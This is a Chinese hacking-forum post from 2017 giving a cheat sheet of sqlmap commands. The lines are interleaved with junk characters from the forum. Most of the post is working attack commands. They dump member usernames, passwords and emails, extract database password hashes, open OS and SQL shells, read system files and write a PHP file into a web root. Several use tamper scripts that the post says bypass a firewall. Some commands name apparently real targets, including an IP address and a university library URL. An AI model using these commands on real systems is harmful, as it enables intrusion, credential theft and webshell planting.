找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1645|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
; c! y; g/ M) i8 _, l7 D9 @9 O4 d# V) a! \6 m% s
update :::::>     in the folder   after  execute    following   order : svn update2 k, c* O8 }3 t8 G  o

9 p5 P  r, I& \sqlmap.py -r 1.txt --current-db
( i" h" _( N# [9 m: o- {0 ^, g! h+ F7 t, l  p2 \/ g+ l
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
) l. W& j8 D) E, X9 f/ C
0 }! l4 H: s) c) L$ y==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) 9 n) m/ y, ~5 ]2 x/ H
猜解数据库9 C' U( K3 y, c1 V, V" ]
./sqlmap.py -u "injection-url" --dbs6 t8 u; ?/ [- U4 S$ M
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"& b! K- T# W" z. O! C' |
8 A4 y4 X! B3 S! K. ~6 R% o, C- E
猜解表名
' E2 }* |$ x6 O% ~& r! R% \4 l# x* S./sqlmap.py -u "injection-url" -D database_name --tables$ @, u2 x: c* v$ s: ~) j
& y; n  [" t9 f, k$ p
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
% m7 k* k! t* Y8 Z* G# hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
9 i2 U, P! E. z' N$ K) R, t: e9 d7 r3 X; X# o
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
3 T; S; |( k4 S6 R+ ?9 A8 e3 {9 ]
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py". ^& Y0 |$ j& B7 u5 w
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"% F0 N) X1 O) }! {( v5 [
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
. x+ f+ g) L4 qsqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
1 N! _6 g0 X. k7 _. [  S! J6 w9 V
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"7 K, X& y! M4 N, }6 M: R
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"4 R8 E; S  u( l: a: f; a2 h. u6 @
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"! C# }/ }4 G$ D% t# `
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"5 _* i* s5 v% D( j
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
) F& m9 C) {, _4 y5 \6 Y2 h/ H$ C8 Q6 }" i9 o
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
3 L0 P* F* V5 e, V% S, m% P) nsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py". T9 Q+ }/ ~5 z# i: r' I" T& ^' |
2 ]/ H7 K$ N2 {
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"5 |8 p3 ?$ N; B% Z6 G9 L' g! }9 C( F
猜解列名
8 h1 E3 O8 l3 n2 `3 M./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
0 B7 p* u  i% L: K  I( Q5 z
0 g" x- t" P4 i* osqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
8 S3 q+ M! [, P6 U7 E( [sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" 6 m9 I- l/ \) j
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"3 ~8 [! {& O) @9 e5 y4 ]
- @5 |: |2 W* X- G3 b
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
: G. D: v; P4 a" F' \5 S( h/ q&submit=Go9 K( D7 {' R. Y' M
猜解值8 f8 n5 Y0 N- \# ]/ o
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump  e: |( ], [# M" b8 F2 B: F' q8 J' w& y
========================================================6 R, C: d- c& K+ ~. d; z
搜索表名中包括mana字符的
: O, t# `$ t4 }9 ^/sqlmap.py -u "injection-url" -T mana --search6 [* U* t% p$ D, S
返回一个交互式sql shell/ R: o% ~8 p" ]. V: h
/sqlmap.py -u "injection-url" --sql-shell2 [/ q& }9 f; r5 [6 c; r. C! f
读取指定文件(需权限)7 F& n5 n3 [  l1 |0 E
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"3 r2 l% S- n7 N# T( g- E" t" V
查看当前 用户 及 数据库 2 P2 W4 F4 B" L( x
/sqlmap.py -u "injection-url" --current-user --current-db
4 r, k1 W$ d/ G. P4 V本地文件 写入 远程目标绝对路径
6 F' X: e) T" [3 T* ^: ~3 g/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
/ q0 D& t  N; R' t/ O0 L% c' }# Fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" , A0 o2 z. }4 V5 B+ ~& g

8 A6 X9 }; V9 c. r; Asqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
. }) R" U) l( ?1 Z查看某用的权限# G8 b% S) g! S1 G1 L( o
/sqlmap.py -u "injection-url" --privileges -U root
+ `* Z8 r9 ^, G查看当前用户是否为dba0 b' Z  y0 O; M" e8 B5 R6 R$ S
/sqlmap.py -u "injection-url" --is-dba
- R# }: n& j0 I读取所有数据库用户或指定数据库用户的密码
6 g/ R, }$ D  y3 l2 ~sqlmap.py -r 1.txt --users --passwords
8 m4 v# N: p/ ^3 G/ f- Qsqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" + u: I0 p2 b  O0 a7 R2 R
* a3 u# S2 m; ^" d. D) z+ _3 l
/sqlmap.py -u "injection-url" --passwords -U root
1 [* ?2 [% z6 j. _" H5 M3 l9 Z: H
. ~, P6 W' P+ J& i& V--start&&--stop 与 --first&&--last 的区别
5 P& W; u/ O: Q0 N/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
' H7 B7 m% c. y! l+ c7 L* @; B, E! K' w5 W+ Y6 X2 v7 }8 g
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)! W8 V8 ?- V' C1 L$ F
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
' M8 w( M' ~- H7 A) X7 \5 g- }1 D3 p/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns  i, A( `5 R5 I$ U: `/ I  V; ^

+ `+ ^" t+ E7 f& z" Q. @1 B7 a执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)/ Z& S( J& N" V5 L# {8 ~4 r$ u
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"! x! z# |: ^) s! J; [. ]  W

( G" E# p5 _+ h2 F+ t, R' ]' K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表